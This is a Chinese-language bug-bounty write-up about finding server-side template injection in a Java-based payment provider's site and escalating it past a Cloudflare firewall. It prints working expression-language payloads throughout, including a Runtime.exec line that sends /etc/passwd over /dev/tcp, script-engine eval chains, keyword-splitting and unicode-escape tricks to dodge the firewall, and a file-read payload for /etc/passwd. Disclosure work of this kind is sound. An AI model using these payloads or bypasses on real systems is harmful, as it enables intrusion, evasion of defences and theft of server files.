大家好,这是我第一次写关于我在寻找漏洞时所做的一项发现的较长文章。
初始立足点
我正在浏览一个网站,我注意到这是亚洲一家领先的支付系统提供商。所以,我在检查这个网站时发现它在传递参数时存在一个奇怪的问题(多亏了 burpsuite:D)。它反映了发送到请求参数的内容,但有一个小巧思:)
这就是SSTI,意味着从用户端发送的
payload
被注入到服务器上,并执行该payload,如果我们提供的payload服务器实际上可以理解的话,它会显示该特定payload的结果。在这种情况下,我提供了${7*7},作为响应,它将其执行为7*7,结果为49。这意味着它容易受到服务器端模板注入(SSTI)攻击。您可以从这里或者这里了解更多。上述请求的响应如下:
此时,我不知道从哪里开始,所以像往常一样,我做了正常的事情,即从PayloadAllTheThings和Hacktricks中复制粘贴所有的SSTI载荷。只有很少的一部分起作用,我立即报告了这个漏洞。但仍然觉得我自己漏了什么。没过一会儿,团队回复,提到如果我能做些什么来升级问题到关键或高严重性,这引起了我的兴趣,我决定更深入地了解这个主题。于是,我开始阅读一些与SSTI和表达式语言注入相关的博客和写作,但都没有成功。确定的一点是应用程序正在使用Java,这是一种简单而强大的语言 ;)
我面对的另一个挑战是,该应用程序位于 Cloudflare 防火墙后面。因此,我尝试执行的任何payload最终都会失败。因此,我决定放弃。
这是我尝试的一个payload,被 WAF 拦截了:
$%7btrue.getClass().forName(\%22Java.lang.Runtime\%22).getMethods()[6].invoke(true.getClass().forName(\%22Java.lang.Runtime\%22)).exec(\%27bash%20-c%20\%22cat%20/etc/passwd%20%3E%26%20/dev/tcp/%200%3E%261%22%20%27%20)%7D
深入了解轨迹在得到工作团队成员的支持后,旅程继续了,现在我开始更多地探索这个主题并理解这门语言。我从阅读一些与表达式语言注入相关的博客开始,并发现了这篇令人惊叹的博客。在这篇博客中提到,我可以使用ScriptEngineManager创建一个JavaScript实例并使用它执行Java代码。我使用了以下
payloads
:
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance()}
因此,要找出它正在使用什么类型的脚本引擎,我们可以使用 - ${'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript')}
而要获取语言名称和版本——
${'b'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineFactories()[0].getLanguageName()}
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineFactories()[0].getLanguageVersion()}
起初我感到很兴奋,因为我从上述请求中得到了一些结果。但是在使用具有 exec() 或 eval() 的payload之后,遇到了真正的挑战,因为正如我之前提到的,它们被 Cloudflare 检测到了 :( 这是一个带有 eval 函数的payload - ${'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("new+java.lang.String('test')")}
所以我认为这不会起作用,我从头开始再次尝试从服务器获取一些敏感信息。
我使用了payload ${class.forName("java.lang.System").getProperty("user.home")}
这种方法行不通,我需要使用相同的 ScriptEngineManager 技术来查看结果。绕过 WAF 所以前进的唯一方法是绕过 WAF 检测特定函数。在测试函数时,我尝试使用 words evaluate() 和 execute() 而不是 eval() 和 exec(),结果发现它只检测到关键字 eval 和 exec,而不是 evaluate 或 execute。所以我知道我需要一些关键字 eval 或 exec 以及一些研究后,我找到了 gbk 编码技术。所以我使用 \\u0028 替换了“(” ,因为我知道使用的语言是 Java。所以现在我的函数更改为 eval\\u0028),而且它成功了。:D
所以我使用了以下 payload 来获取一些敏感信息。
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘nashorn’).eval\u0028'java.lang.System.getProperty(“user.home”)’)}
我已经获得了应用程序用户的主目录:D 另一件我注意到的事情是WAF检测到了关键词 "runtime" 和命令像 "whoami"、"etc/passwd" 等等。 所以我决定改为将这些关键词作为 "run"+"time"(连接方法) 并且它可行:D 现在,我尝试通过结合所有上述方法来寻找RCE。所以我使用了之前提到的同样博客。
test${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.lang.Run’+’time.getRuntime().exec\u0028"who”+”ami”).getInputStream()’).toString()}
这意味着我成功地启动了一个 Unix 进程实例。但它没有执行任何操作。我尝试使用相同的方式提供反向 shell 载荷,但也没有成功 :( 我努力思考并尝试许多方法来获取一个反向 shell,但最终都徒劳无功。但在这一点上,我仍然感到高兴,因为我成功绕过了 CloudFlare 并获得了内部目录,可向团队报告。在从办公室骑车回家的路上思考一番后,我想“为什么不尝试通过一些 Java 文件读取技术获取一些敏感信息,比如 etc/passwd?”我尝试进一步研究这些方法,看看是否能够提取或读取敏感文件,我找到了一种方法。我可以使用 java.nio.file.Files.readAllLines(java.nio.file.Paths.get('filepath')).get(0) 方法从服务器获取敏感文件并进行阅读。Cloudflare 检测
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.nio.file.Files.readAllLines(java.nio.file.Paths.get(“../../../../../etc/passwd”)).get(1)’)}
Cloudflare detection bypass
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.nio.file.Files.readAllLines(java.nio.file.Paths.get(“../../../../../et”+”c/passwd”)).get(1)’)}